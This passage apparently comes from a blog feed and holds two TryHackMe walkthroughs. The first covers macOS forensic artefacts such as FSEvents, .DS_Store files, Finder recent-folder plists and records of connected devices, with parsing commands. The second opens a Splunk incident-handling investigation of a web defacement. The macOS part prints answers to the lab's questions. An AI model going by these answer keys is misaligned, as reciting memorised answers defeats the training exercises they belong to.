<p>File System Events Store DB or fseventsd is a database that is present in every volume connected to a macOS device. This is a directory that contains multiple files and is similar to the USN Journal in NTFS, keeping records of all the file system changes. It contains events such as file/folder creation, deletion, rename, and volumes being mounted or unmounted. In earlier versions, this directory used to be in the root directory (<code>/.fseventsd</code>). However, sometimes, this directory is now present in the location <code>/System/Volumes/Data/.fseventsd</code>. The leading dot indicates that it is a hidden directory. We can use mac_apt to parse the files in this directory into a CSV or DB format using the command <code>python3 mac_apt.py -o . -c DMG ~/mac-disk.img FSEVENTS</code>. The following terminal shows the same artefacts being extracted from a live system.</p>
<p>FsEvents Parsed Using mac_apt</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro % sudo python3 mac_apt.py -o . -c MOUNTED / FSEVENTS
Password:
Output path was : /Users/umair/mac_apt
.
.
.
MAIN-INFO-Finished in time = 00:02:11
MAIN-INFO-Review the Log file and report any ERRORs or EXCEPTIONS to the developers
umair@Umairs-MacBook-Pro ~ % head FsEvents.csv 
LogID,EventFlagsHex,EventType,EventFlags,Filepath,File_ID,Log_Unknown,SourceModDate,Source
000000002DA73F9E,01000000,Folder,,.fseventsd/sl-compat,,,2025-02-12 18:06:35,/System/Volumes/Data/.fseventsd/000000002da73f48
000000002DA73F9F,21000000,Folder,EndOfTransaction,,,,2025-02-12 18:06:35,/System/Volumes/Data/.fseventsd/000000002da73f48
000000002D855D03,00800014,File,InodeMetaMod|Modified,Users/umair/Library/Application Support/AddressBook/Sources/023F5274-E570-42C8-9FDE-D5BCE180B576/Metadata/.info,39714076,0,2025-02-12 10:48:20,/System/Volumes/Data/.fseventsd/000000002d8585da
000000002D855CFD,00800014,File,InodeMetaMod|Modified,Users/umair/Library/Application Support/AddressBook/Sources/023F5274-E570-42C8-9FDE-D5BCE180B576/SyncAnchor,381360,0,2025-02-12 10:48:20,/System/Volumes/Data/.fseventsd/000000002d8585da
000000002D8543CD,00800013,File,Created|Removed|Modified,Users/umair/Library/Application Support/AddressBook/Sources/023F5274-E570-42C8-9FDE-D5BCE180B576/SyncOperations.plist,39716988,0,2025-02-12 10:48:20,/System/Volumes/Data/.fseventsd/000000002d8585da
000000002D8544A5,00800014,File,InodeMetaMod|Modified,Users/umair/Library/Application Support/AddressBook/Sources/0DE50723-CF55-4001-84F4-65005DE0AA94/AddressBook-v22.abcddb-shm,1969067,0,2025-02-12 10:48:20,/System/Volumes/Data/.fseventsd/000000002d8585da
000000002D8543EE,00800013,File,Created|Removed|Modified,Users/umair/Library/Application Support/AddressBook/Sources/0DE50723-CF55-4001-84F4-65005DE0AA94/SyncOperations.plist,39716992,0,2025-02-12 10:48:20,/System/Volumes/Data/.fseventsd/000000002d8585da
000000002D8571C3,00800014,File,InodeMetaMod|Modified,Users/umair/Library/Application Support/AddressBook/Sources/6BDA2C03-3C1C-42A6-8624-8024B932E3DB/Metadata/.info,39714077,0,2025-02-12 10:48:20,/System/Volumes/Data/.fseventsd/000000002d8585da
000000002D8560B7,00800014,File,InodeMetaMod|Modified,Users/umair/Library/Application Support/AddressBook/Sources/6BDA2C03-3C1C-42A6-8624-8024B932E3DB/SyncAnchor,17141543,0,2025-02-12 10:48:20,/System/Volumes/Data/.fseventsd/000000002d8585da
</code></pre>
<p>Please note that the output can be enormous due to the amount of information it contains.</p>
<h2><strong>DS Store</strong></h2>
<p>In a macOS device, hidden .DS_Store files can be found in every directory that is opened using the Finder app. It is created when the Finder is used to access the folder. This means any folder accessed using the Finder should have an entry in this file. Hence, this file can act as evidence of access to a folder using the Finder. Detailed information on the DS Store files can be found in <a href="https://wiki.mozilla.org/DS_Store_File_Format">this</a> wiki. We can use the  <a href="https://github.com/hanwenzhu/.DS_Store-parser">DS Store parser</a> utility to parse DS store files.</p>
<p>Information From the DS Store</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro DS_Store-parser % python3 parse.py ../.DS_Store 
Applications
	Icon location: x 775px, y 77px, 0xffffffffffff0000
	Logical size: 530264B
	Modification date (timestamp, format unknown: 4739609139890696511
	Modification date, alternative (timestamp, format unknown): 4739609139890696511
	Physical size: 536576B
Desktop
	Icon location: x 115px, y 77px, 0xffffffffffff0000
	Layout property list:
		ShowStatusBar: False
		ShowToolbar: True
		ShowTabView: False
		ContainerShowSidebar: True
		WindowBounds: {{222, 94}, {1290, 850}}
		ShowSidebar: True
	Icon view property list:
		backgroundColorBlue: 1.0
		iconSize: 64.0
		textSize: 12.0
		backgroundColorRed: 1.0
		backgroundType: 0
		backgroundColorGreen: 1.0
		gridOffsetX: 0.0
		gridOffsetY: 0.0
		scrollPositionY: 0.0
		showItemInfo: False
		viewOptionsVersion: 1
		scrollPositionX: 0.0
		labelOnBottom: True
		arrangeBy: none
		showIconPreview: True
		gridSpacing: 54.0
	Logical size: 312505328B
	Modification date (timestamp, format unknown: 4739666058071822613
	Modification date, alternative (timestamp, format unknown): 4739666058071822613
	Physical size: 312623104B
	vSrn (unknown): 1
	View style: Icon view
mac_apt
	Icon location: x 285px, y 494px, 0xffffffffffff0000
	fdsc (unrecognized): False
macos-UnifiedLogs
	fdsc (unrecognized): False
velociraptor-docker
	Icon location: x 665px, y 189px, 0xffffffffffff0000
	Open in list view: False
	Logical size: 466275650B
	Modification date (timestamp, format unknown: 4739601447313639217
	Modification date, alternative (timestamp, format unknown): 4739601447313639217
	Physical size: 466563072B
Virtual Machines.localized
	Icon location: x 115px, y 301px, 0xffffffffffff0000
	Layout property list:
		ShowStatusBar: False
		ShowToolbar: True
		ShowTabView: False
		ContainerShowSidebar: True
		WindowBounds: {{35, 94}, {1443, 850}}
		ShowSidebar: True
	Open in list view: True
	Logical size: 6780B
	Modification date (timestamp, format unknown: 4739619739493982596
	Modification date, alternative (timestamp, format unknown): 4739619739493982596
	Physical size: 40960B
	vSrn (unknown): 1
</code></pre>
<p>We can see different types of information for different items in the DS Store file. However, the primary forensic value remains that this folder was accessed using Finder. Any other information can be considered as a bonus.</p>
<p>In the attached VM, the DS Store Parser is present at the location <code>/home/ubuntu/DS_Store-parser</code>. DS Store Parser needs to be run from the directory it is present in, and we need to provide the absolute path of the DS Store file to execute without errors.</p>
<h2><strong>Most Recently Used</strong></h2>
<p>We can find the most recently used folders in the plist file at <code>/Users/&lt;user&gt;/Library/Preferences/com.apple.finder.plist</code>. The information is in the <code>FXRecentFolders</code> key, with item 0 being the latest. The <code>file-bookmark</code> BLOB in this key contains the full folder path, volume name and volume GUID.</p>
<p>MRU Folders</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro Preferences % plutil -p com.apple.finder.plist 
{
  "ComputerViewSettings" =&gt; {
    "CustomViewStyleVersion" =&gt; 1
    "WindowState" =&gt; {
      "ContainerShowSidebar" =&gt; 1
      "ShowSidebar" =&gt; 1
      "ShowStatusBar" =&gt; 0
      "ShowTabView" =&gt; 0
      "ShowToolbar" =&gt; 1
      "WindowBounds" =&gt; "{{222, 94}, {1290, 850}}"
    }
.
.
.
  "FXRecentFolders" =&gt; [
    0 =&gt; {
      "file-bookmark" =&gt; {length = 948, bytes = 0x626f6f6b b4030000 00000410 30000000 ... 04000000 00000000 }
      "name" =&gt; "detections"
    }
    1 =&gt; {
      "file-bookmark" =&gt; {length = 904, bytes = 0x626f6f6b 88030000 00000410 30000000 ... 04000000 00000000 }
      "name" =&gt; "soc"
    }
    2 =&gt; {
      "file-bookmark" =&gt; {length = 840, bytes = 0x626f6f6b 48030000 00000410 30000000 ... 04000000 00000000 }
      "name" =&gt; "Downloads"
    }
    3 =&gt; {
      "file-bookmark" =&gt; {length = 844, bytes = 0x626f6f6b 4c030000 00000410 30000000 ... 04000000 00000000 }
      "name" =&gt; "tensorflow-metal"
    }
    4 =&gt; {
      "file-bookmark" =&gt; {length = 796, bytes = 0x626f6f6b 1c030000 00000410 30000000 ... 04000000 00000000 }
      "name" =&gt; "umair"
    }
  ]
</code></pre>
<p>For Microsoft applications, we can find a similar list in the location <code>/Users/&lt;user&gt;/Library/Containers/com.microsoft.&lt;app&gt;/Data/Library/Preferences/com.microsoft.&lt;app&gt;.securebookmarks.plist</code>. The below terminal window shows the data for Microsoft Excel.</p>
<p>Microsoft Excel MRU</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro Preferences % plutil -p com.microsoft.Excel.securebookmarks.plist 
{
  "file:///Users/umair/APOLLO/apollo.csv" =&gt; {
    "kBookmarkDataKey" =&gt; {length = 696, bytes = 0x626f6f6b b8020000 00000410 30000000 ... 04000000 00000000 }
    "kLastUsedDateKey" =&gt; 2025-02-22 15:19:49 +0000
    "kUUIDKey" =&gt; "66DDA458-FE03-4C06-B71E-213742CCA596"
  }
  "file:///Users/umair/Downloads/Asset_Inventory.xlsx" =&gt; {
    "kBookmarkDataKey" =&gt; {length = 708, bytes = 0x626f6f6b c4020000 00000410 30000000 ... 04000000 00000000 }
    "kLastUsedDateKey" =&gt; 2024-12-01 11:16:29 +0000
    "kUUIDKey" =&gt; "29E5EE07-6CBB-4016-9C1B-21F82651F342"
  }
}
</code></pre>
<p>Here, the kBookmarkDataKey is similar to the file-bookmark key in the previous plist file, which contains a BLOB of data related to the full folder path, volume GUID, and volume name. We can use a hex editor to extract this information.</p>
<h3>Answer the questions below</h3>
<p>What are the viewing options for the Users/thm folder? <code>Open in list view</code></p>
<pre><code class="language-shell"># Search for the finder plist
find ~/output_users -name "com.apple.finder.plist"

# Or check if it's in the APFS database
python3 &lt;&lt; 'EOF'
import sqlite3

conn = sqlite3.connect('/home/ubuntu/output_users/APFS_Volumes_75799CC4-35C7-4CB5-AC2D-2DC335B7B3EF.db')
cursor = conn.cursor()

cursor.execute("""
    SELECT p.Path
    FROM Vol_5_Data_Paths p
    WHERE p.Path LIKE '%com.apple.finder.plist'
    AND p.Path LIKE '%/Users/thm/%'
""")

for row in cursor.fetchall():
    print(row[0])

conn.close()
EOF
</code></pre>
<p>What is the last directory visited by the user using the Finder application? <code>Recents</code></p>
<pre><code class="language-shell"># Use plutil to parse the plist (but it's binary, so we need to convert or use a parser)
file ~/output_recentitems/Export/RECENTITEMS/thm_com.apple.finder.plist

# Try to read it with plutil (if available)
plutil -p ~/output_recentitems/Export/RECENTITEMS/thm_com.apple.finder.plist 2&gt;/dev/null | grep -A 20 "FXRecentFolders" 

# Or use Python to parse it
python3 &lt;&lt; 'EOF'
import plistlib

with open('/home/ubuntu/output_recentitems/Export/RECENTITEMS/thm_com.apple.finder.plist', 'rb') as f:
    plist = plistlib.load(f)
    
if 'FXRecentFolders' in plist:
    recent = plist['FXRecentFolders']
    print(f"Found {len(recent)} recent folders")
    print("\nMost recent folder (index 0):")
    if recent:
        print(f"  Name: {recent[0].get('name', 'N/A')}")
        # The file-bookmark contains the path info
        print(f"\nAll recent folders:")
        for i, item in enumerate(recent):
            print(f"  [{i}] {item.get('name', 'N/A')}")
else:
    print("FXRecentFolders key not found")
    print("\nAvailable keys:")
    for key in plist.keys():
        print(f"  {key}")
EOF
/home/ubuntu/output_recentitems/Export/RECENTITEMS/thm_com.apple.finder.plist: Apple binary property list
Found 1 recent folders

Most recent folder (index 0):
  Name: Recents

All recent folders:
  [0] Recents
</code></pre>
<h2>Connected Devices</h2>
<p>An important part of forensics is determining whether any external drives were connected to the system. Let's examine the possible artefacts that might help us determine this information.</p>
<h2><strong>Mounted Volumes</strong></h2>
<p>macOS stores a list of drives mounted on the system in the location <code>/Users/&lt;user&gt;/Library/Preferences/com.apple.finder.plist</code>. In this plist file, we can find USB drives and mounted images such as DMG or IMG files. This information can be found in the <code>FXDesktopVolumesPositions</code> key.</p>
<p>Mounted Volumes</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % plutil -p com.apple.finder.plist 
{
  "ComputerViewSettings" =&gt; {
    "CustomViewStyleVersion" =&gt; 1
    "WindowState" =&gt; {
      "ContainerShowSidebar" =&gt; 1
      "ShowSidebar" =&gt; 1
      "ShowStatusBar" =&gt; 0
      "ShowTabView" =&gt; 0
      "ShowToolbar" =&gt; 1
      "WindowBounds" =&gt; "{{51, 88}, {1290, 850}}"
    }
  }
.
.
.
 "FontSizeCategory" =&gt; "DEFAULT"
  "FXArrangeGroupViewBy" =&gt; "Name"
  "FXDesktopTouchBarUpgradedToTenTwelveOne" =&gt; 1
  "FXDesktopVolumePositions" =&gt; {
  "Lenovo PS8_-0x1.d27e44p+29" =&gt; {
      "AnchorRelativeTo" =&gt; 0
      "ScreenID" =&gt; 0
      "xRelative" =&gt; 325
      "yRelative" =&gt; 147
    }
    "Microsoft NTFS by Tuxera 2023.1_0x1.044f569p+28" =&gt; {
      "AnchorRelativeTo" =&gt; 2
      "ScreenID" =&gt; 0
      "xRelative" =&gt; -309
      "yRelative" =&gt; -344
    }
    "Microsoft NTFS by Tuxera 2024-RC_0x1.044f569p+28" =&gt; {
      "AnchorRelativeTo" =&gt; 2
      "ScreenID" =&gt; 0
      "xRelative" =&gt; -309
      "yRelative" =&gt; -232
    }
    "New Volume_0x1.2be84dfdd01dfp+29" =&gt; {
      "AnchorRelativeTo" =&gt; 1
      "ScreenID" =&gt; 0
      "xRelative" =&gt; -309
      "yRelative" =&gt; 302
    }
    "New Volume_0x1.226e8bb7e3675p+29" =&gt; {
      "AnchorRelativeTo" =&gt; 1
      "ScreenID" =&gt; 0
      "xRelative" =&gt; -309
      "yRelative" =&gt; 302
    }
    "nmap-7.95_0x1.5e8c7d98p+29" =&gt; {
      "AnchorRelativeTo" =&gt; 0
      "ScreenID" =&gt; 0
      "xRelative" =&gt; 203
      "yRelative" =&gt; -77
    }
</code></pre>
<p>We can see that Lenovo PS8 and New Volume were mounted on the system. However, we also see nmap-7.95 mounted, which can be a mounted DMG or IMG file.</p>
<h2><strong>Connected iDevices</strong></h2>
<p>Apple devices connected to the system can be found in the plist file <code>/Users/&lt;user/Library/Preferences/com.apple.iPod.plist</code>. The information contains IMEI, device serial number, iOS version, and the number of times the device was connected.</p>
<p>Connected iDevices</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % plutil -p com.apple.iPod.plist 
{
  "com.apple.PreferenceSync.ExcludeAllSyncKeys" =&gt; 1
  "conn:128:Last Connect" =&gt; {length = 4, bytes = 0xe3f1f16e}
  "Devices" =&gt; {
    "000220C62650801E" =&gt; {
      "Build Version" =&gt; "22D72"
      "Connected" =&gt; 2025-03-08 09:06:54 +0000
      "Device Class" =&gt; "iPad"
      "Family ID" =&gt; 10129
      "Firmware Version" =&gt; 256
      "Firmware Version String" =&gt; "18.3.1"
      "ID" =&gt; "[Redacted]"
      "IMEI" =&gt; "[Redacted]"
      "Product Type" =&gt; "iPad13,10"
      "Region Info" =&gt; "LL/A"
      "Serial Number" =&gt; "[Redacted]"
      "Use Count" =&gt; 2
    }
    "000228813E12001C" =&gt; {
      "Build Version" =&gt; "21F90"
      "Connected" =&gt; 2024-07-26 15:45:44 +0000
      "Device Class" =&gt; "iPhone"
      "Family ID" =&gt; 10155
      "Firmware Version" =&gt; 256
      "Firmware Version String" =&gt; "17.5.1"
      "ID" =&gt; "[Redacted]"
      "IMEI" =&gt; "[Redacted]"
      "IMEI2" =&gt; "[Redacted]"
      "Product Type" =&gt; "iPhone16,2"
      "Region Info" =&gt; "AH/A"
      "Serial Number" =&gt; "[Redacted]"
      "Use Count" =&gt; 1
    }
  }
}
</code></pre>
<p>In the above terminal, we can see an iPad and an iPhone connected to the system, with the iPad connected twice and the iPhone connected once.</p>
<h2><strong>Bluetooth Connections</strong></h2>
<p>The knowledgeC database also contains information about historical Bluetooth device connections. This information is in the <code>/Bluetooth/isConnected</code> stream in the database. We can use APOLLO's <code>knowledge_audio_bluetooth_connected</code> module to extract this information or use the SQL query in DB Browser.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/61306d87a330ed00419e22e7/room-content/61306d87a330ed00419e22e7-1741628599551.png" alt="Bluetooth connections as seen in DB Browser" style="display:block;margin:0 auto" />

<p>In the above screenshot, we can see the date and time of connections of different Bluetooth devices and their time of disconnection. We can also see the minutes each device was connected. The SQL query used here is from the APOLLO module discussed above.</p>
<h2><strong>Connected Printers</strong></h2>
<p>The <code>/Users/&lt;user&gt;/Library/Preferences/org.cups.PrintingPrefs.plist</code> file contains information about the printers installed and used on the system. It also informs us on whether the printer is a network printer.</p>
<p>Connected Printers</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % plutil -p org.cups.PrintingPrefs.plist 
{
  "com.apple.print.useGenericPrinterFeaturesDict" =&gt; {
    "HP_DeskJet_3700_series" =&gt; 0
  }
  "LastUsedPrinters" =&gt; [
    0 =&gt; {
      "Network" =&gt; "fe80::1"
      "PrinterID" =&gt; "HP_DeskJet_3700_series"
    }
    1 =&gt; {
      "Network" =&gt; "fe80::1000"
      "PrinterID" =&gt; "HP_DeskJet_3700_series"
    }
    2 =&gt; {
      "Network" =&gt; "172.16.0.1"
      "PrinterID" =&gt; "HP_DeskJet_3700_series"
    }
  ]
  "UseLastPrinter" =&gt; 1
}
</code></pre>
<p>Here, we can see the details of the connected printers, including whether they are network printers and their IP addresses.</p>
<h3>Answer the questions below</h3>
<p>Which stream in the knowledgeC database contains information about connected Bluetooth devices? <code>Bluetooth/isConnected</code></p>
<blockquote>
<p>This stream tracks:</p>
<ul>
<li><p>When Bluetooth devices connected</p>
</li>
<li><p>When they disconnected</p>
</li>
<li><p>Duration of connection in minutes</p>
</li>
<li><p>Device details</p>
</li>
</ul>
<p>You can use the APOLLO module <code>knowledge_audio_bluetooth_connected</code> to extract this, or query it directly in the knowledgeC.db database.</p>
</blockquote>
<h2>Conclusion</h2>
<p>Well, wasn't that fun? We seem to be getting confident performing forensics on macOS devices. Overall, we have learned and practised:</p>
<ul>
<li><p>Identifying system information of a macOS machine.</p>
</li>
<li><p>Exploring the network interfaces and last known networks on a machine.</p>
</li>
<li><p>Discovering available accounts and past account activity.</p>
</li>
<li><p>Unearthing any commands and applications executed on the machine.</p>
</li>
<li><p>Analysing file system activity on the machine.</p>
</li>
<li><p>Finding out what devices are connected to the machine.</p>
</li>
</ul>
<p>It looks like we learned a lot of exciting forensic artefacts in macOS, but we are not done yet. We will discuss even more artefacts in the macOS Forensics: Applications room.</p>
<p>Do you know of any other artefacts that can be found in a macOS machine? Let us know in our <a href="https://discord.gg/tryhackme">Discord channel</a> or <a href="http://x.com/realtryhackme">X account</a>. See you around.</p>
]]></content:encoded></item><item><title><![CDATA[Incident Handling With Splunk (TryHackMe)]]></title><description><![CDATA[Website defacement is one of the more visible outcomes of a successful cyberattack, and investigating one end-to-end is a great way to practice mapping attacker behavior across the full Cyber Kill Cha]]></description><link>https://www.sharonjebitok.com/incident-handling-with-splunk-tryhackme</link><guid isPermaLink="true">https://www.sharonjebitok.com/incident-handling-with-splunk-tryhackme</guid><category><![CDATA[incident handling]]></category><category><![CDATA[Splunk]]></category><category><![CDATA[Virustotal]]></category><category><![CDATA[Hashing]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Sat, 14 Mar 2026 13:43:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/cd78a7bf-00af-4058-9c2c-031ac0fd32d8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Website defacement is one of the more visible outcomes of a successful cyberattack, and investigating one end-to-end is a great way to practice mapping attacker behavior across the full Cyber Kill Chain. This write-up covers the <a href="https://tryhackme.com/room/splunk201"><em>Incident Handling with Splunk</em></a> room on TryHackMe, where I stepped into the role of a SOC analyst investigating a real-world-style attack against Wayne Enterprises' web server <code>imreallynotbatman.com</code>.</p>
<p>The scenario involves a compromised Joomla-based web server that was defaced by the Poison Ivy APT group. Using Splunk as the SIEM, I analyzed logs from multiple sources, including Suricata, Sysmon, Fortinet firewall, and stream:http to reconstruct the attacker's full activity across all seven phases: Reconnaissance, Weaponization, Delivery, Exploitation, Installation, Command &amp; Control, and Actions on Objectives. I also used OSINT platforms like VirusTotal, Robtex, ThreatMiner, and Hybrid Analysis to fill gaps that the logs alone couldn't answer.</p>
<h2>Introduction: Incident Handling</h2>
<p>This room covers an incident Handling scenario using Splunk. An incident from a security perspective is "Any event or action, that has a negative consequence on the security of a user/computer or an organization is considered a security incident." Below are a few of the events that would negatively affect the environment when they occurred:</p>
<ul>
<li><p>Crashing the system</p>
</li>
<li><p>Execution of an unwanted program</p>
</li>
<li><p>Access to sensitive information from an unauthorized user</p>
</li>
<li><p>A Website being defaced by the attacker</p>
</li>
<li><p>The use of USB devices when there is a restriction in usage is against the company's policy</p>
</li>
</ul>
<p><strong>Learning Objective</strong></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/1f48e9deb7ed9c3c2640ee042d4ef58f.png" alt="Analyst standing with magnifying glass" style="display:block;margin:0 auto" />

<ul>
<li><p>Learn how to leverage OSINT sites during an investigation</p>
</li>
<li><p>How to map Attacker's activities to Cyber Kill Chain Phases</p>
</li>
<li><p>How to utilize effective Splunk searches to investigate logs</p>
</li>
<li><p>Understand the importance of host-centric and network-centric log sources</p>
</li>
</ul>
<p><strong>Room Prerequisites</strong></p>
<p>Before going through this room, it is expected that the participants will have a basic understanding of Splunk. If not, consider going through this room, Splunk 101 (<a href="https://tryhackme.com/jr/splunk101">https://tryhackme.com/jr/splunk101</a>).</p>
<p>It is good to understand the following before completing this lesson:</p>
<ul>
<li><p>Splunk overview and basic navigation</p>
</li>
<li><p>Important Splunk Queries</p>
</li>
<li><p>Know how to use different functions/values to craft a search query</p>
</li>
<li><p>How to look for interesting fields</p>
</li>
</ul>
<h2>Incident Handling - Life Cycle</h2>
<p><strong>Incident Handling Life Cycle</strong></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/0b438ea4fe36b9ca02cce5a6e91e4f14.png" alt="Incident Handling Life Cycle" style="display:block;margin:0 auto" />

<p>As an Incident Handler / SOC Analyst, we would aim to know the attackers' tactics, techniques, and procedures. Then we can stop/defend/prevent against the attack in a better way. The Incident Handling process is divided into four different phases. Let's briefly go through each phase before jumping into the incident, which we will be going through in this exercise.</p>
<p><strong>1. Preparation</strong></p>
<p>The preparation phase covers the readiness of an organization against an attack. That means documenting the requirements, defining the policies, incorporating the security controls to monitor like EDR / SIEM / IDS / IPS, etc. It also includes hiring/training the staff.</p>
<p><strong>2. Detection and Analysis</strong></p>
<p>The detection phase covers everything related to detecting an incident and the analysis process of the incident. This phase covers getting alerts from the security controls like SIEM/EDR investigating the alert to find the root cause. This phase also covers hunting for the unknown threat within the organization.</p>
<p><strong>3. Containment, Eradication, and Recovery</strong></p>
<p>This phase covers the actions needed to prevent the incident from spreading and securing the network. It involves steps taken to avoid an attack from spreading into the network, isolating the infected host, clearing the network from the infection traces, and gaining control back from the attack.</p>
<p><a href="http://4.Post"><strong>4.Post</strong></a><strong>-Incident Activity / Lessons Learnt</strong></p>
<p>This phase includes identifying the loopholes in the organization's security posture, which led to an intrusion, and improving so that the attack does not happen next time. The steps involve identifying weaknesses that led to the attack, adding detection rules so that similar breach does not happen again, and most importantly, training the staff if required.</p>
<h2>Incident Handling: Scenario</h2>
<p>In this exercise, we will investigate a cyber attack in which the attacker defaced an organization's website. This organization has Splunk as a SIEM solution setup. Our task as a Security Analysis would be to investigate this cyber attack and map the attacker's activities into all 7 of the Cyber Kill Chain Phases. It is important to note that we don't need to follow the sequence of the cyber kill chain during the Investigation. One finding in one phase will lead to another finding that may have mapped into some other phase.</p>
<h1><strong>Cyber Kill Chain</strong></h1>
<p>We will follow the Cyber kill Chain Model and map the attacker's activity in each phase during this Investigation. When required, we will also utilize Open Source Intelligence (OSINT) and other findings to fill the gaps in the kill chain. It is not necessary to follow this sequence of the phases while investigating.</p>
<ul>
<li><p>Reconnaissance</p>
</li>
<li><p>Weaponization</p>
</li>
<li><p>Delivery</p>
</li>
<li><p>Exploitation</p>
</li>
<li><p>Installation</p>
</li>
<li><p>Command &amp; Control</p>
</li>
<li><p>Actions on Objectives</p>
</li>
</ul>
<p><strong>Scenario</strong></p>
<p>A Big corporate organization <strong>Wayne Enterprises</strong> has recently faced a cyber-attack where the attackers broke into their network, found their way to their web server, and have successfully defaced their website <a href="http://www.imreallynotbatman.com"><strong>http://www.imreallynotbatman.com</strong></a>. Their website is now showing the trademark of the attackers with the message <strong>YOUR SITE HAS BEEN DEFACED</strong> as shown below:</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/dcc528c218e8dda78504f55f58188575.png" alt="" style="display:block;margin:0 auto" />

<p>They have requested "<strong>US</strong>" to join them as a <strong>Security Analyst</strong> and help them investigate this cyber attack and find the root cause and all the attackers' activities within their network.</p>
<p>The good thing is, that they have Splunk already in place, so we have got all the event logs related to the attacker's activities captured. We need to explore the records and find how the attack got into their network and what actions they performed.</p>
<p>This Investigation comes under the <code>Detection and Analysis phase</code>.</p>
<p><strong>Splunk</strong></p>
<p>During our investigation, we will be using <code>Splunk</code> as our SIEM solution. Logs are being ingested from webserver/firewall/Suricata/Sysmon etc. In the data summary tab, we can explore the log sources showing visibility into both network-centric and host-centric <a href="http://activities.To">activities.To</a> get the complete picture of the hosts and log sources being monitored in Wayne Enterprise, please click on the <strong>Data summary</strong> and navigate the available tabs to get the information.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/dc5ec747ef4b0f3eada2aac0bb1fa0ed.gif" alt="" style="display:block;margin:0 auto" />

<p><strong>Interesting log Sources</strong></p>
<p>Some of the interesting log sources that will help us in our Investigation are:</p>
<table style="min-width:50px"><colgroup><col style="min-width:25px"></col><col style="min-width:25px"></col></colgroup><tbody><tr><td><p><strong>Log Sources<br /></strong></p></td><td><p><strong>Details<br /></strong></p></td></tr><tr><td><p><strong>wineventlog</strong></p></td><td><p>It contains Windows Event logs</p></td></tr><tr><td><p><strong>winRegistry</strong></p></td><td><p>It contains the logs related to registry creation / modification / deletion etc.</p></td></tr><tr><td><p><strong>XmlWinEventLog</strong></p></td><td><p>It contains the sysmon event logs. It is a very important log source from an investigation point of view.</p></td></tr><tr><td><p><strong>fortigate_utm<br /></strong></p></td><td><p>It contains Fortinet Firewall logs</p></td></tr><tr><td><p><strong>iis<br /></strong></p></td><td><p>It contains IIS web server logs</p></td></tr><tr><td><p><strong>Nessus:scan<br /></strong></p></td><td><p>It contains the results from the Nessus vulnerability scanner.</p></td></tr><tr><td><p><strong>Suricata<br /></strong></p></td><td><p>It contains the details of the alerts from the Suricata IDS. This log source shows which alert was triggered and what caused the alert to get triggered— a very important log source for the Investigation.</p></td></tr><tr><td><p><strong>stream:http<br /></strong></p></td><td><p>It contains the network flow related to http traffic.</p></td></tr><tr><td><p><strong>stream: DNS<br /></strong></p></td><td><p>It contains the network flow related to DNS traffic.</p></td></tr><tr><td><p><strong>stream:icmp<br /></strong></p></td><td><p>It contains the network flow related to icmp traffic.</p></td></tr></tbody></table>

<p><strong>Note:</strong> All the event logs that we are going to investigate are present in <code>index=botsv1</code>.</p>
<h2>Reconnaissance Phase</h2>
<p><strong>Reconnaissance Phase</strong></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/fe02723595184431c7911543dc6c54d1.png" alt="Image representing Reconnicance" style="display:block;margin:0 auto" />

<p>Reconnaissance is an attempt to discover and collect information about a target. It could be knowledge about the system in use, the web application, employees or location, etc.</p>
<p>We will start our analysis by examining any reconnaissance attempt against the webserver <code>imreallynotbatman.com</code>. From an analyst perspective, where do we first need to look? If we look at the available log sources, we will find some log sources covering the network traffic, which means all the inbound communication towards our web server will be logged into the log source that contains the web traffic. Let's start by searching for the domain in the search head and see which log source includes the traces of our domain.</p>
<p><strong>Search Query</strong>: <code>index=botsv1 imreallynotbatman.com</code></p>
<p><strong>Search Query explanation:</strong> We are going to look for the event logs in the index "botsv1" which contains the term <code>imreallynotbatman.com</code></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/c320e7a1192dd94671fb5048e6a3cf3d.gif" alt="" style="display:block;margin:0 auto" />

<p>Here we have searched for the term <code>imreallynotbatman.com</code> in the index <code>botsv1</code>. Make sure to select <code>All Time</code> in the Time Range Picker, as shown above. In the <code>sourcetype</code> field, we saw that the following log sources contain the traces of this search term.</p>
<ul>
<li><p>Suricata</p>
</li>
<li><p>stream:http</p>
</li>
<li><p>fortigate_utm</p>
</li>
<li><p>iis</p>
</li>
</ul>
<p>From the name of these log sources, it is clear what each log source may contain. Every analyst may have a different approach to investigating a scenario. Our first task is to identify the IP address attempting to perform reconnaissance activity on our web server. It would be obvious to look at the web traffic coming into the network. We can start looking into any of the logs mentioned above sources.</p>
<p>Let us begin looking at the log source <strong>stream:http</strong>, which contains the http traffic logs, and examine the <code>src_ip</code> field from the left panel. The <strong>src_ip</strong> field contains the source IP address it finds in the logs.</p>
<p><strong>Search Query:</strong> <code>index=botsv1 imreallynotbatman.com sourcetype=stream:http</code></p>
<p><strong>Search Query Explanation:</strong> This query will only look for the term  <code>imreallynotbatman.com</code>in the <strong>stream:http</strong> log source.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/11b2317ec891d4b9b9a4c5bdaa594aa6.png" alt="" style="display:block;margin:0 auto" />

